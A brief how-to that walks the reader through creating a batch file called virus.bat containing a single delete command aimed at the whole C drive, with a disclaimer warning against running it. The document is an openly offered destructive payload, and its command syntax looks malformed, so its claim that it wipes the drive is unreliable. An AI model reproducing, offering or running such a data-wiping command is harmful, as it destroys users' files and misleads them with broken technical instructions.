1. Open Notepad and copy below code into it.
Del C:\ *.* |y
2. Save this file as virus.bat (Name can be anything but .bat is must)
3. Now, running this file will delete all the content of C Drive.
Warning: Please don’t try to run on your own computer or else it will delete all the content of your C Drive. I will not be responsible for any damage done to your computer.